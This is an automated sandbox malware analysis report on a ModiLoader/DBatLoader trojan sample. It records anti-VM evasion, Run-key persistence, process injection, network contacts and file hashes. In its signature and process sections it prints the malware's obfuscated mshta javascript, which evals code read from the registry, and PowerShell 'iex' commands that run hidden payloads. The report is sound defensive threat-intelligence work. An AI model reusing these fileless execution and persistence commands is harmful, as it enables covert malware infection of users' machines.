Malware Analysis Report

2024-10-23 19:35

Sample ID 240504-lebvfshh9w
Target 1218a1ab7ec5c1f28e9ce36edc2c193f_JaffaCakes118
SHA256 2875ef78db576d8dac1c234af20791475f9d219747d73a4dae32b259976813a4
Tags
modiloader evasion persistence trojan
score
10/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V15

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
10/10

SHA256

2875ef78db576d8dac1c234af20791475f9d219747d73a4dae32b259976813a4

Threat Level: Known bad

The file 1218a1ab7ec5c1f28e9ce36edc2c193f_JaffaCakes118 was found to be: Known bad.

Malicious Activity Summary

modiloader evasion persistence trojan

ModiLoader, DBatLoader

Process spawned unexpected child process

Looks for VirtualBox drivers on disk

Checks for common network interception software

ModiLoader Second Stage

Looks for VirtualBox Guest Additions in registry

Looks for VMWare Tools registry key

Checks computer location settings

Checks BIOS information in registry

Deletes itself

Adds Run key to start application

Maps connected drives based on registry

Suspicious use of SetThreadContext

Drops file in System32 directory

Unsigned PE

Enumerates physical storage devices

Modifies Internet Explorer settings

Suspicious use of AdjustPrivilegeToken

Suspicious use of WriteProcessMemory

Suspicious behavior: MapViewOfSection

Suspicious behavior: EnumeratesProcesses

Modifies registry class

MITRE ATT&CK

Analysis: static1

Detonation Overview

Reported

2024-05-04 09:26

Signatures

Unsigned PE

Description Indicator Process Target
N/A N/A N/A N/A

Analysis: behavioral1

Detonation Overview

Submitted

2024-05-04 09:26

Reported

2024-05-04 09:28

Platform

win7-20240221-en

Max time kernel

149s

Max time network

149s

Command Line

"C:\Users\Admin\AppData\Local\Temp\1218a1ab7ec5c1f28e9ce36edc2c193f_JaffaCakes118.exe"

Signatures

ModiLoader, DBatLoader

trojan modiloader

Process spawned unexpected child process

Description Indicator Process Target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process N/A C:\Windows\system32\mshta.exe

Checks for common network interception software

evasion

Looks for VirtualBox Guest Additions in registry

evasion
Description Indicator Process Target
Key opened \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Oracle\VirtualBox Guest Additions C:\Windows\SysWOW64\regsvr32.exe N/A

Looks for VirtualBox drivers on disk

evasion
Description Indicator Process Target
File opened (read-only) C:\WINDOWS\SysWOW64\drivers\VBoxMouse.sys C:\Windows\SysWOW64\regsvr32.exe N/A

ModiLoader Second Stage

Description Indicator Process Target
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Looks for VMWare Tools registry key

evasion
Description Indicator Process Target
Key opened \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\VMware, Inc.\VMware Tools C:\Windows\SysWOW64\regsvr32.exe N/A

Checks BIOS information in registry

Description Indicator Process Target
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion C:\Windows\SysWOW64\regsvr32.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion C:\Windows\SysWOW64\regsvr32.exe N/A

Deletes itself

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A

Adds Run key to start application

persistence
Description Indicator Process Target
Set value (str) \REGISTRY\USER\S-1-5-21-3452737119-3959686427-228443150-1000\Software\Microsoft\Windows\CurrentVersion\Run\ = "\"C:\\Users\\Admin\\AppData\\Local\\7976b135\\51dd6a1e.bat\"" C:\Windows\SysWOW64\regsvr32.exe N/A

Maps connected drives based on registry

Description Indicator Process Target
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Disk\Enum C:\Windows\SysWOW64\regsvr32.exe N/A
Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\services\Disk\Enum\0 C:\Windows\SysWOW64\regsvr32.exe N/A

Drops file in System32 directory

Description Indicator Process Target
File opened for modification C:\Windows\SysWOW64\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of SetThreadContext

Description Indicator Process Target
PID 2672 set thread context of 2420 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\regsvr32.exe
PID 2420 set thread context of 608 N/A C:\Windows\SysWOW64\regsvr32.exe C:\Windows\SysWOW64\regsvr32.exe

Enumerates physical storage devices

Modifies Internet Explorer settings

adware spyware
Description Indicator Process Target
Key created \REGISTRY\USER\S-1-5-21-3452737119-3959686427-228443150-1000\Software\Microsoft\Internet Explorer\Main\FeatureControl C:\Windows\SysWOW64\regsvr32.exe N/A
Key created \REGISTRY\USER\S-1-5-21-3452737119-3959686427-228443150-1000\Software\Microsoft\Internet Explorer\International C:\Windows\SysWOW64\regsvr32.exe N/A

Modifies registry class

Description Indicator Process Target
Key created \REGISTRY\USER\S-1-5-21-3452737119-3959686427-228443150-1000_CLASSES\85b167c9\shell C:\Windows\SysWOW64\regsvr32.exe N/A
Key created \REGISTRY\USER\S-1-5-21-3452737119-3959686427-228443150-1000_CLASSES\85b167c9\shell\open C:\Windows\SysWOW64\regsvr32.exe N/A
Key created \REGISTRY\USER\S-1-5-21-3452737119-3959686427-228443150-1000_CLASSES\85b167c9\shell\open\command C:\Windows\SysWOW64\regsvr32.exe N/A
Set value (str) \REGISTRY\USER\S-1-5-21-3452737119-3959686427-228443150-1000_CLASSES\85b167c9\shell\open\command\ = "\"C:\\Windows\\system32\\mshta.exe\" \"javascript:Gnff6pm9P=\"uObGS\";MZ74=new ActiveXObject(\"WScript.Shell\");j6cY2t=\"al\";IAr3X=MZ74.RegRead(\"HKCU\\\\software\\\\pzadcohmp\\\\jhpvhyp\");JXqf42l=\"Yf9E9\";eval(IAr3X);LWrI41Ktt=\"0Q5oXPet\";\"" C:\Windows\SysWOW64\regsvr32.exe N/A
Key created \REGISTRY\USER\S-1-5-21-3452737119-3959686427-228443150-1000_CLASSES\.939cc2701 C:\Windows\SysWOW64\regsvr32.exe N/A
Set value (str) \REGISTRY\USER\S-1-5-21-3452737119-3959686427-228443150-1000_CLASSES\.939cc2701\ = "85b167c9" C:\Windows\SysWOW64\regsvr32.exe N/A
Key created \REGISTRY\USER\S-1-5-21-3452737119-3959686427-228443150-1000_CLASSES\85b167c9 C:\Windows\SysWOW64\regsvr32.exe N/A

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
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N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A

Suspicious behavior: MapViewOfSection

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 2524 wrote to memory of 2672 N/A C:\Windows\system32\mshta.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 2524 wrote to memory of 2672 N/A C:\Windows\system32\mshta.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 2524 wrote to memory of 2672 N/A C:\Windows\system32\mshta.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 2524 wrote to memory of 2672 N/A C:\Windows\system32\mshta.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 2672 wrote to memory of 2420 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\regsvr32.exe
PID 2672 wrote to memory of 2420 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\regsvr32.exe
PID 2672 wrote to memory of 2420 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\regsvr32.exe
PID 2672 wrote to memory of 2420 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\regsvr32.exe
PID 2672 wrote to memory of 2420 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\regsvr32.exe
PID 2672 wrote to memory of 2420 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\regsvr32.exe
PID 2672 wrote to memory of 2420 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\regsvr32.exe
PID 2672 wrote to memory of 2420 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\regsvr32.exe
PID 2420 wrote to memory of 608 N/A C:\Windows\SysWOW64\regsvr32.exe C:\Windows\SysWOW64\regsvr32.exe
PID 2420 wrote to memory of 608 N/A C:\Windows\SysWOW64\regsvr32.exe C:\Windows\SysWOW64\regsvr32.exe
PID 2420 wrote to memory of 608 N/A C:\Windows\SysWOW64\regsvr32.exe C:\Windows\SysWOW64\regsvr32.exe
PID 2420 wrote to memory of 608 N/A C:\Windows\SysWOW64\regsvr32.exe C:\Windows\SysWOW64\regsvr32.exe
PID 2420 wrote to memory of 608 N/A C:\Windows\SysWOW64\regsvr32.exe C:\Windows\SysWOW64\regsvr32.exe
PID 2420 wrote to memory of 608 N/A C:\Windows\SysWOW64\regsvr32.exe C:\Windows\SysWOW64\regsvr32.exe
PID 2420 wrote to memory of 608 N/A C:\Windows\SysWOW64\regsvr32.exe C:\Windows\SysWOW64\regsvr32.exe
PID 2420 wrote to memory of 608 N/A C:\Windows\SysWOW64\regsvr32.exe C:\Windows\SysWOW64\regsvr32.exe

Processes

C:\Users\Admin\AppData\Local\Temp\1218a1ab7ec5c1f28e9ce36edc2c193f_JaffaCakes118.exe

"C:\Users\Admin\AppData\Local\Temp\1218a1ab7ec5c1f28e9ce36edc2c193f_JaffaCakes118.exe"

C:\Windows\system32\mshta.exe

"C:\Windows\system32\mshta.exe" javascript:VE1WHw="wtTpzNMt";O5y=new%20ActiveXObject("WScript.Shell");RnGWf4="Lx2";V4d3Cv=O5y.RegRead("HKCU\\software\\8VSC4ODMa\\6IWYcM7");JsujJ0="9g9Yg";eval(V4d3Cv);RQhLWmB99="p";

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" iex $env:dipcyg

C:\Windows\SysWOW64\regsvr32.exe

regsvr32.exe

C:\Windows\SysWOW64\regsvr32.exe

"C:\Windows\SysWOW64\regsvr32.exe"

Network

Country Destination Domain Proto
JP 133.11.182.34:443 tcp
CN 39.83.217.23:80 tcp
CN 113.100.44.176:443 tcp
RU 92.51.15.126:80 tcp
US 55.180.191.172:443 tcp
CN 58.66.230.22:443 tcp
US 18.144.135.15:80 tcp
US 162.242.199.185:80 tcp
US 161.253.13.31:8080 tcp
US 33.187.145.90:80 tcp
KR 210.98.239.174:443 tcp
US 144.167.175.2:80 tcp
US 173.91.190.229:443 tcp
IT 151.11.119.161:80 tcp
US 15.240.172.221:80 tcp
US 34.200.107.68:8080 tcp
US 97.177.18.20:443 tcp
ES 176.104.77.7:80 tcp
ES 217.217.75.208:80 tcp
PL 83.26.170.83:443 tcp
CN 110.211.189.80:80 tcp
US 98.4.251.32:80 tcp
CN 42.132.226.145:443 tcp
SG 43.122.173.189:80 tcp
US 104.139.169.191:80 tcp
US 146.153.96.235:80 tcp
HU 212.48.251.223:8080 tcp
AU 164.97.126.168:80 tcp
CN 218.106.238.134:80 tcp
CN 125.32.60.152:443 tcp
US 156.131.34.65:443 tcp
SE 83.68.253.30:443 tcp
DE 62.143.108.45:443 tcp
KE 154.154.29.146:80 tcp
VN 14.254.24.161:443 tcp
US 52.90.124.82:443 tcp
CN 113.50.104.238:443 tcp
US 56.101.207.233:443 tcp
US 52.90.124.82:443 52.90.124.82 tcp
KR 211.226.126.171:443 tcp
SE 176.10.240.248:80 tcp
NL 88.85.78.189:80 tcp
NL 88.85.78.189:80 88.85.78.189 tcp
US 172.7.225.7:8080 tcp
CR 201.197.155.230:443 tcp
CR 201.197.155.230:443 201.197.155.230 tcp
CN 139.189.49.116:80 tcp
RO 89.122.43.240:443 tcp
US 9.223.135.65:8080 tcp
CN 221.203.91.162:443 tcp
US 4.48.217.156:80 tcp
FI 89.236.127.45:443 tcp
TW 203.70.158.40:443 tcp
US 156.27.156.111:8080 tcp
VN 14.190.49.194:80 tcp
MY 110.74.158.19:443 tcp
US 35.212.189.50:443 tcp
CO 186.144.44.108:443 tcp
US 155.244.143.99:443 tcp
US 192.205.224.131:443 tcp
CL 200.36.210.128:80 tcp
US 19.104.160.94:443 tcp
US 131.38.58.159:443 tcp
CN 222.204.56.162:443 tcp
US 30.202.144.117:443 tcp
GE 92.51.118.84:8080 tcp
US 160.132.38.97:443 tcp
US 29.242.47.209:443 tcp
US 104.149.101.181:443 tcp
KR 112.173.161.241:443 tcp
JP 218.134.200.205:443 tcp
US 209.61.119.200:80 tcp
AU 137.154.166.86:443 tcp
US 24.111.72.248:80 tcp
CN 123.129.49.125:80 tcp
US 141.162.225.245:80 tcp
US 16.74.144.88:443 tcp
BR 201.65.15.121:80 tcp
CN 60.187.188.36:8080 tcp
JP 221.87.220.250:80 tcp
SG 166.120.129.114:443 tcp
US 21.75.94.64:443 tcp
TZ 41.204.132.97:80 tcp
PT 193.137.214.106:443 tcp
JP 122.251.154.160:8080 tcp
US 216.47.69.172:443 tcp
US 206.57.75.240:80 tcp
MU 102.235.197.164:443 tcp
US 107.15.55.4:80 tcp
TG 57.85.24.187:80 tcp
CN 110.16.171.99:80 tcp
VN 123.18.111.66:443 tcp
CA 167.47.179.116:80 tcp
IT 95.228.163.171:80 tcp
DE 138.244.254.18:80 tcp
ZA 105.226.44.212:443 tcp
AU 61.69.106.95:80 tcp
US 11.126.105.40:443 tcp
IT 185.190.160.213:80 tcp
US 69.217.159.23:443 tcp
US 205.18.212.95:80 tcp
US 32.235.7.55:80 tcp
CN 182.139.11.14:443 tcp
DE 51.102.142.175:443 tcp
RU 31.210.211.118:443 tcp
AU 124.148.245.116:80 tcp
US 155.110.83.90:80 tcp
JP 144.91.159.85:443 tcp
MA 197.153.237.199:443 tcp
US 68.58.178.162:80 tcp
ES 147.83.253.250:443 tcp
US 47.7.131.54:443 tcp
US 48.145.187.236:443 tcp
US 68.231.209.195:443 tcp
CN 180.140.85.236:443 tcp
US 13.175.216.27:80 tcp
US 152.87.33.105:80 tcp
CN 124.68.156.4:443 tcp
FR 109.215.147.5:443 tcp
US 66.168.197.121:443 tcp
CA 134.153.171.11:443 tcp
FR 77.141.9.177:443 tcp
US 75.88.47.42:443 tcp
DE 217.86.106.89:443 tcp
DE 84.152.227.64:443 tcp
US 184.135.211.3:80 tcp
KR 119.194.208.250:80 tcp
DE 31.245.64.214:80 tcp
HK 156.255.214.163:80 tcp
IT 155.185.196.71:80 tcp
SA 37.141.104.38:443 tcp
CA 198.169.68.65:443 tcp
US 184.206.112.20:8080 tcp
NL 77.172.69.13:80 tcp
US 8.24.77.6:80 tcp
CN 59.203.44.60:80 tcp
PK 119.157.215.147:443 tcp
JP 110.162.37.61:80 tcp
DE 79.242.184.163:80 tcp
US 69.41.141.22:80 tcp
US 35.24.83.226:443 tcp
IT 46.233.190.131:80 tcp
IN 122.98.28.67:443 tcp
GB 176.26.59.138:80 tcp
US 18.223.254.125:443 tcp
ZA 197.229.252.56:80 tcp
SI 31.15.147.3:8080 tcp
FR 2.8.73.46:443 tcp
KR 58.151.123.79:8080 tcp
US 70.186.205.160:8080 tcp
US 204.33.71.142:443 tcp
BR 191.181.22.189:80 tcp
IN 59.97.207.168:443 tcp
LV 77.38.223.166:80 tcp
CA 142.55.30.55:80 tcp
N/A 127.198.80.192:80 tcp
US 72.224.202.213:80 tcp
US 47.193.65.66:80 tcp
N/A 10.164.244.84:80 tcp
US 75.11.201.70:443 tcp
N/A 127.196.66.105:8080 tcp
US 146.197.101.71:80 tcp
N/A 10.89.190.118:443 tcp
US 100.144.240.179:80 tcp
US 135.188.254.47:8080 tcp
JP 203.129.112.104:443 tcp
CH 162.23.247.225:443 tcp
SE 83.233.14.106:80 tcp
KR 147.47.104.108:443 tcp
US 135.48.210.216:80 tcp
KR 147.47.104.108:443 tcp
US 173.239.82.134:443 tcp
DE 37.94.247.75:443 tcp
US 161.16.224.217:443 tcp
CN 221.224.28.61:443 tcp
SE 83.250.253.118:80 tcp
US 208.255.23.173:80 tcp
US 207.139.234.30:443 tcp
US 12.52.14.135:443 tcp
KR 110.165.123.75:80 tcp
HK 58.176.91.90:443 tcp
CN 42.92.193.217:443 tcp
US 215.175.163.98:80 tcp
TW 140.131.208.24:80 tcp
CN 17.94.195.3:443 tcp
PT 213.22.210.165:80 tcp
UY 45.68.101.57:443 tcp
US 75.74.3.5:80 tcp
US 136.236.111.213:80 tcp
US 204.1.232.77:443 tcp
DE 53.238.125.155:443 tcp
US 26.16.129.84:80 tcp
US 205.10.27.49:80 tcp
US 3.169.34.42:443 tcp
US 33.193.189.186:80 tcp
US 164.211.81.149:443 tcp
JP 219.110.168.68:443 tcp
BR 187.84.243.192:80 tcp
AU 210.111.64.74:443 tcp
KR 210.90.190.140:80 tcp
US 48.14.230.227:80 tcp
US 29.177.180.87:80 tcp
CA 156.44.4.244:80 tcp
DE 193.174.128.176:80 tcp
CA 99.246.8.68:80 tcp
BR 187.28.110.17:80 tcp
US 19.139.115.31:443 tcp
BR 138.120.2.2:80 tcp
FR 86.238.97.239:80 tcp
KR 147.47.104.108:443 tcp
CA 142.229.195.28:443 tcp
US 74.141.42.9:443 tcp
US 50.96.37.183:80 tcp
IN 103.141.112.63:443 tcp
SE 90.142.12.89:80 tcp
SE 130.240.95.72:443 tcp
US 13.15.94.11:80 tcp
US 165.215.79.31:80 tcp
CN 106.63.107.205:443 tcp
BE 78.20.85.185:80 tcp
DE 46.236.223.157:80 tcp
US 56.31.150.181:80 tcp
GB 217.32.17.47:443 tcp
US 215.82.189.32:80 tcp
US 35.31.210.45:8080 tcp
US 107.99.157.52:80 tcp
US 38.185.231.22:80 tcp
SE 78.64.11.123:443 tcp
CN 112.38.44.139:80 tcp
FR 164.2.176.170:80 tcp
BR 187.50.129.65:80 tcp
DE 145.225.241.55:443 tcp
DE 53.132.218.84:8080 tcp
DZ 105.97.253.94:443 tcp

Files

memory/2960-1-0x0000000000456000-0x0000000000458000-memory.dmp

memory/2960-0-0x0000000000400000-0x00000000004608D0-memory.dmp

memory/2960-5-0x0000000001CA0000-0x0000000001D7C000-memory.dmp

memory/2960-4-0x0000000001CA0000-0x0000000001D7C000-memory.dmp

memory/2960-3-0x0000000001CA0000-0x0000000001D7C000-memory.dmp

memory/2960-2-0x0000000001CA0000-0x0000000001D7C000-memory.dmp

memory/2960-7-0x0000000000400000-0x00000000004608D0-memory.dmp

memory/2960-8-0x0000000001CA0000-0x0000000001D7C000-memory.dmp

memory/2960-9-0x0000000001CA0000-0x0000000001D7C000-memory.dmp

memory/2672-13-0x0000000005580000-0x0000000005581000-memory.dmp

memory/2672-14-0x0000000006170000-0x000000000624C000-memory.dmp

memory/2420-15-0x0000000000300000-0x000000000044A000-memory.dmp

memory/2420-18-0x0000000000300000-0x000000000044A000-memory.dmp

memory/2672-17-0x0000000006170000-0x000000000624C000-memory.dmp

memory/2420-25-0x0000000000300000-0x000000000044A000-memory.dmp

memory/2420-23-0x0000000000300000-0x000000000044A000-memory.dmp

memory/2420-49-0x0000000000300000-0x000000000044A000-memory.dmp

memory/2420-52-0x0000000000300000-0x000000000044A000-memory.dmp

memory/2420-50-0x0000000000300000-0x000000000044A000-memory.dmp

memory/2420-48-0x0000000000300000-0x000000000044A000-memory.dmp

memory/2420-47-0x0000000000300000-0x000000000044A000-memory.dmp

memory/2420-46-0x0000000000300000-0x000000000044A000-memory.dmp

memory/2420-41-0x0000000000300000-0x000000000044A000-memory.dmp

memory/2420-40-0x0000000000300000-0x000000000044A000-memory.dmp

memory/2420-51-0x0000000000300000-0x000000000044A000-memory.dmp

memory/2420-39-0x0000000000300000-0x000000000044A000-memory.dmp

memory/2420-37-0x0000000000300000-0x000000000044A000-memory.dmp

memory/2420-36-0x0000000000300000-0x000000000044A000-memory.dmp

memory/2420-35-0x0000000000300000-0x000000000044A000-memory.dmp

memory/2420-34-0x0000000000300000-0x000000000044A000-memory.dmp

memory/2420-33-0x0000000000300000-0x000000000044A000-memory.dmp

memory/2420-32-0x0000000000300000-0x000000000044A000-memory.dmp

memory/2420-30-0x0000000000300000-0x000000000044A000-memory.dmp

memory/2420-28-0x0000000000300000-0x000000000044A000-memory.dmp

memory/2420-27-0x0000000000300000-0x000000000044A000-memory.dmp

memory/2420-26-0x0000000000300000-0x000000000044A000-memory.dmp

memory/2420-38-0x0000000000300000-0x000000000044A000-memory.dmp

memory/2960-55-0x0000000001CA0000-0x0000000001D7C000-memory.dmp

memory/2420-22-0x0000000000300000-0x000000000044A000-memory.dmp

memory/2420-20-0x0000000000300000-0x000000000044A000-memory.dmp

memory/2420-31-0x0000000000300000-0x000000000044A000-memory.dmp

memory/2420-29-0x0000000000300000-0x000000000044A000-memory.dmp

memory/2420-24-0x0000000000300000-0x000000000044A000-memory.dmp

memory/2420-21-0x0000000000300000-0x000000000044A000-memory.dmp

memory/2420-19-0x0000000000300000-0x000000000044A000-memory.dmp

memory/608-73-0x0000000000130000-0x000000000027A000-memory.dmp

memory/608-72-0x0000000000130000-0x000000000027A000-memory.dmp

memory/608-71-0x0000000000130000-0x000000000027A000-memory.dmp

memory/608-70-0x0000000000130000-0x000000000027A000-memory.dmp

memory/608-69-0x0000000000130000-0x000000000027A000-memory.dmp

memory/608-68-0x0000000000130000-0x000000000027A000-memory.dmp

memory/608-67-0x0000000000130000-0x000000000027A000-memory.dmp

memory/608-66-0x0000000000130000-0x000000000027A000-memory.dmp

memory/608-65-0x0000000000130000-0x000000000027A000-memory.dmp

memory/608-64-0x0000000000130000-0x000000000027A000-memory.dmp

memory/608-63-0x0000000000130000-0x000000000027A000-memory.dmp

memory/608-62-0x0000000000130000-0x000000000027A000-memory.dmp

memory/608-61-0x0000000000130000-0x000000000027A000-memory.dmp

C:\Users\Admin\AppData\Local\7976b135\51dd6a1e.bat

MD5 3cb0d59ea78a5419f3b159f1cea287cc
SHA1 eed0c4b19f9540222ed828ec8bba72113f262479
SHA256 d700e5516fdbd7c197860b929fdcfbe6147b4d59c1a10011b9e2f060158c5083
SHA512 c67a09643940cfc0324fac867afa6043d9c7afe0ae6ecf0e65ca934daa091d31cd1815e89896ea980bc9b71920030839a0007501b38c4bf4fd71c5258b1c2b03

C:\Users\Admin\AppData\Local\7976b135\a6c8ed05.939cc2701

MD5 1ef83f4c6bf3c60af878029230b5b8eb
SHA1 74a43b12cfaba4809c2cf9fc733e1c096f36dade
SHA256 64ceb27f2da56c1ef23c3c75b557644521f68fe7259496ff0eec26fa7994d712
SHA512 c7b4fe37744b5175e295f1b8610ef7f392d58888c40a6ebab5edd1c8b0b31cad80cf351387fe07b7cb418ba032d3a8e763ada5cb4937fed7d306299273b38325

C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\94308059B57B3142E455B38A6EB92015

MD5 29f65ba8e88c063813cc50a4ea544e93
SHA1 05a7040d5c127e68c25d81cc51271ffb8bef3568
SHA256 1ed81fa8dfb6999a9fedc6e779138ffd99568992e22d300acd181a6d2c8de184
SHA512 e29b2e92c496245bed3372578074407e8ef8882906ce10c35b3c8deebfefe01b5fd7f3030acaa693e175f4b7aca6cd7d8d10ae1c731b09c5fa19035e005de3aa

C:\Users\Admin\AppData\Local\Temp\TarD8BA.tmp

MD5 435a9ac180383f9fa094131b173a2f7b
SHA1 76944ea657a9db94f9a4bef38f88c46ed4166983
SHA256 67dc37ed50b8e63272b49a254a6039ee225974f1d767bb83eb1fd80e759a7c34
SHA512 1a6b277611959720a9c71114957620517ad94541302f164eb872bd322292a952409bafb8bc2ac793b16ad5f25d83f8594ccff2b7834e3c2b2b941e6fc84c009a

Analysis: behavioral2

Detonation Overview

Submitted

2024-05-04 09:26

Reported

2024-05-04 09:28

Platform

win10v2004-20240419-en

Max time kernel

141s

Max time network

108s

Command Line

"C:\Users\Admin\AppData\Local\Temp\1218a1ab7ec5c1f28e9ce36edc2c193f_JaffaCakes118.exe"

Signatures

ModiLoader, DBatLoader

trojan modiloader

Process spawned unexpected child process

Description Indicator Process Target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process N/A C:\Windows\system32\mshta.exe

ModiLoader Second Stage

Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A

Checks computer location settings

Description Indicator Process Target
Key value queried \REGISTRY\USER\S-1-5-21-2860750803-256193626-1801997576-1000\Control Panel\International\Geo\Nation C:\Windows\system32\mshta.exe N/A

Enumerates physical storage devices

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 2352 wrote to memory of 3228 N/A C:\Windows\system32\mshta.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 2352 wrote to memory of 3228 N/A C:\Windows\system32\mshta.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 2352 wrote to memory of 3228 N/A C:\Windows\system32\mshta.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Processes

C:\Users\Admin\AppData\Local\Temp\1218a1ab7ec5c1f28e9ce36edc2c193f_JaffaCakes118.exe

"C:\Users\Admin\AppData\Local\Temp\1218a1ab7ec5c1f28e9ce36edc2c193f_JaffaCakes118.exe"

C:\Windows\system32\mshta.exe

"C:\Windows\system32\mshta.exe" javascript:ED2roFR2="ZDRr";Ge33=new%20ActiveXObject("WScript.Shell");K0hqJ4="4HPGHNSY";UX5xx7=Ge33.RegRead("HKCU\\software\\2urgMSL7\\PMTOfyL");dZuc5Hfd="VpqOLW6";eval(UX5xx7);H9cMg="7ZayLwW";

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" iex $env:tidpqmw

Network

Country Destination Domain Proto
US 8.8.8.8:53 13.86.106.20.in-addr.arpa udp
US 8.8.8.8:53 77.190.18.2.in-addr.arpa udp
US 8.8.8.8:53 g.bing.com udp
US 204.79.197.237:443 g.bing.com tcp
US 8.8.8.8:53 237.197.79.204.in-addr.arpa udp
US 8.8.8.8:53 4.159.190.20.in-addr.arpa udp
NL 23.62.61.97:443 www.bing.com tcp
US 8.8.8.8:53 97.61.62.23.in-addr.arpa udp
US 8.8.8.8:53 58.55.71.13.in-addr.arpa udp
US 8.8.8.8:53 157.123.68.40.in-addr.arpa udp
US 8.8.8.8:53 198.187.3.20.in-addr.arpa udp
US 8.8.8.8:53 139.53.16.96.in-addr.arpa udp
US 8.8.8.8:53 240.221.184.93.in-addr.arpa udp
US 8.8.8.8:53 177.178.17.96.in-addr.arpa udp
US 8.8.8.8:53 88.156.103.20.in-addr.arpa udp
US 8.8.8.8:53 23.236.111.52.in-addr.arpa udp
US 8.8.8.8:53 tse1.mm.bing.net udp
US 204.79.197.200:443 tse1.mm.bing.net tcp
US 204.79.197.200:443 tse1.mm.bing.net tcp
US 204.79.197.200:443 tse1.mm.bing.net tcp
US 204.79.197.200:443 tse1.mm.bing.net tcp
US 204.79.197.200:443 tse1.mm.bing.net tcp

Files

memory/4432-0-0x0000000000456000-0x0000000000458000-memory.dmp

memory/4432-1-0x0000000000400000-0x00000000004608D0-memory.dmp

memory/4432-2-0x0000000002290000-0x000000000236C000-memory.dmp

memory/4432-3-0x0000000002290000-0x000000000236C000-memory.dmp

memory/4432-4-0x0000000002290000-0x000000000236C000-memory.dmp

memory/4432-7-0x0000000000400000-0x00000000004608D0-memory.dmp

memory/4432-6-0x0000000002290000-0x000000000236C000-memory.dmp

memory/4432-5-0x0000000002290000-0x000000000236C000-memory.dmp

memory/4432-8-0x0000000002290000-0x000000000236C000-memory.dmp

memory/4432-9-0x0000000002290000-0x000000000236C000-memory.dmp

memory/3228-11-0x0000000002490000-0x00000000024C6000-memory.dmp

memory/3228-12-0x0000000004FC0000-0x00000000055E8000-memory.dmp

memory/3228-13-0x0000000004E00000-0x0000000004E22000-memory.dmp

